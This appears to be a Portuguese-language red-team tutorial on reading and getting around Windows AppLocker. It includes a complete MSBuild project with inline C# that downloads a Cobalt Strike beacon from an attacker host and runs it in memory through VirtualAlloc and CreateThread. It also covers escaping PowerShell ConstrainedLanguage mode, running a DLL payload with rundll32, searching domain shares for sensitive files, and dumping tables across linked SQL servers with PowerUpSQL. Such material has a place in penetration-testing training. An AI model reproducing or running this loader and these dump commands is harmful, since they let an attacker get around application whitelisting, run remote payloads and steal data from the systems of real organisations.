AppLocker é uma tecnologia de lista de permissões de aplicativos integrada ao sistema operacional Windows. Seu objetivo é restringir aplicativos e scripts que podem ser executados em uma máquina, definidos por meio de um conjunto de políticas enviadas via GPO. As regras podem ser baseadas em atributos de arquivo como editor, nome, versão, hash ou caminho; eles podem ser "permitir" ou negar"; e podem ser atribuídos a um usuário individual ou a um grupo. O AppLocker também alterará o modo de idioma do PowerShell de FullLanguage para ConstrainedLanguage. Isso restringe os tipos .NET que podem ser usados, evitando Add-Type com qualquer C# arbitrário, bem como New-Object em tipos que não são especificamente permitidos. Execute o comando abaixo para saber qual linguagem do Powershell está em uso no momento
$ExecutionContext.SessionState.LanguageMode
A política pode ser lida em dois locais: diretamente no GPO ou no registro local da máquina à qual está aplicada. A leitura do GPO é o mesmo processo do LAPS - encontre o GPO, baixe o arquivo Registry.pol do gpcfilesyspath e analise com Parse-PolFile.
Caso encontre algum resultado, baixe o leia o arquivo
# Jogue localmente para a máquina após executar o comando abaixodownload<gpcfilesyspath>\Machine\Registry.pol# Lendo o arquivo (Windows fora do CS)Parse-PolFile<C:\path\to\Registry.pol>
Se quisermos localizar um KeyName no registro, basta executar o regedit e depois procurar pela chave, por exemplo, Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\<valor>". Alguns desses campos são bem descritivos, analisando bem os valores de ValueData, podemos encontrar informaçõs úteis sobre o propósito de cada política. Um fato importante, é que as regras de DLL geralmente não são aplicadas. Isso porque, a Microsoft afirma que isso pode afetar o desempenho do sistema. Nesse cenário, iremos ver o ValueData definio como 0, quando temos o KeyName terminado com Dll.
LOLBAS (Living Off The Land)
Em resumo, é a utilização de próprios recursos do Windows para realizar bypass e termos acessos que não poderiam ser permitidos. Como exemplo, iremos utilizar o MSBuild para realizarmos bypass e montarmos um Beacon. Primeiro, crie um arquivo no host alvo chamado test.csproj (ou utilize o nome que preferir), com o seguinte conteúdo.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"><TargetName="MSBuild"><MSBuildTest/></Target><UsingTask TaskName="MSBuildTest" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" ><Task><CodeType="Class"Language="cs"><![CDATA[ using System; using System.Net; using System.Runtime.InteropServices; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class MSBuildTest : Task, ITask { public override bool Execute() { byte[] shellcode; using (var client = new WebClient()) { client.BaseAddress ="http://<ip>/"; shellcode = client.DownloadData("beacon.bin"); } var hKernel = LoadLibrary("kernel32.dll"); var hVa = GetProcAddress(hKernel,"VirtualAlloc"); var hCt = GetProcAddress(hKernel,"CreateThread"); var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa); var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt); var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000| 0x00002000, 0x40); Marshal.Copy(shellcode,0, hMemory, shellcode.Length); var t = ct(IntPtr.Zero,0, hMemory, IntPtr.Zero,0, IntPtr.Zero); WaitForSingleObject(t,0xFFFFFFFF); return true; } [DllImport("kernel32", CharSet = CharSet.Ansi)] private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); [DllImport("kernel32", CharSet = CharSet.Ansi)] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); [UnmanagedFunctionPointer(CallingConvention.StdCall)] private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } ]]></Code></Task></UsingTask></Project>
No CS Client, vá no Menu Site Manager > Host File e configure o File para http_x64.xprocess.bin e Local URI defina como beacon.bin. Agora vá no host alvo e execute o comando abaixa para ter acesso ao Beacon.
Se você tentar executar um script ou comando no PowerShell e vir um erro como only core types in this language mode, saberá que está operando em um ambiente restrito. Se você encontrar um desvio do AppLocker para executar código arbitrário, também poderá sair do PowerShell Constrained Language Mode usando um runspace não gerenciado do PowerShell. Execute o comando abaixo para saber qual linguagem do Powershell está em uso no momento
$ExecutionContext.SessionState.LanguageMode
Powerpick
Utilizando o powerpick para ter a linguagem FullLanguage.
Conforme mencionado anteriormente, a imposição de DLL geralmente não é habilitada, o que nos permite chamar funções exportadas de DLLs no disco via rundll32. Faça upload do arquivo http_x64.dll para a máquina alvo e depois execute:
Find-DomainShare do PowerView procura compartilhamentos de computador no Domínio. O parâmetro -CheckShareAccess mostra apenas os compartilhamentos aos quais o usuário atual tem acesso de leitura.
Find-InterestingDomainShareFile vai um passo além e pesquisa cada compartilhamento, retornando resultados onde as strings especificadas aparecem no caminho
PowerUpSQL fornece vários cmdlets projetados para pesquisa e extração de dados. Um desses cmdlets é Get-SQLColumnSampleDataThreaded, que pode pesquisar uma ou mais instâncias em busca de bancos de dados que contenham palavras-chave específicas nos nomes das colunas. Altere as palavras-chave de acordo com a cenário em que esteja atuando e é claro, utilize um usuário com os devidos privilégios.
Até então, isso só pode pesquisar as instâncias às quais você tem acesso direto, pois ele não atravessará nenhum link SQL. Para pesquisar os links, precisamos utilizar o seguinte comando:
powershellGet-SQLQuery-Instance"<Instance-host-sql-2>"-Query"select * from openquery(""<host-sql-1.domain.local>"", 'select * from information_schema.tables')"
Na saída do comando acima, podemos ver o nome da(s) tabela(s), então agora podemos ver as coluna dessa(s) tabela(s).
powershellGet-SQLQuery-Instance"<Instance-host-sql-2>"-Query"select * from openquery(""<host-sql-1.domain.local>"", 'select column_name from master.information_schema.columns where table_name=''<tabela>''')"
E por último, vamos fazeer um dump dos dados dessa tabela.
powershellGet-SQLQuery-Instance"<Instance-host-sql-2>"-Query"select * from openquery(""<host-sql-1.domain.local>"", 'select <coluna_1,coluna_2,coluna_3,coluna_4> from master.dbo.<tabela>')"